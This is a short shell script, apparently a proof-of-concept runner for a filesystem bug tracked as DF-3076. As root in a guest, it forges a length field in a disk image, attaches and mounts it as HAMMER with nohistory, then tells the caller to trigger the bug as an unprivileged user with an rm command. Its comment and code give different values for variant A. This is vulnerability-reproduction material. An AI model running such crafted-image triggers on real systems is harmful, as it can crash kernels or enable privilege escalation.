DF-3076 / run.sh
#!/bin/sh # DF-3076 runner (guest, root): forge image, mount nohistory, leave the # trigger (rm) to the caller so it can be issued as an unprivileged user. # Usage: run.sh <variant> variant = A (0x7FFFFFF0) | B (0x10000) | keep set -e V=${1:-A} case "$V" in A) LEN=0x80000 ;; B) LEN=0x10000 ;; keep) LEN=keep ;; *) echo "bad variant"; exit 2 ;; esac # clean up any prior run umount /mnt 2>/dev/null || true vnconfig -u vn0 2>/dev/null || true cp /root/base.img /root/len.img /root/lenforge /root/len.img $LEN vnconfig -c vn0 /root/len.img mount_hammer -o nohistory /dev/vn0 /mnt echo "MOUNT_OK variant=$V len=$LEN" ls -l /mnt echo "READY: trigger with: rm -f /mnt/target.bin" |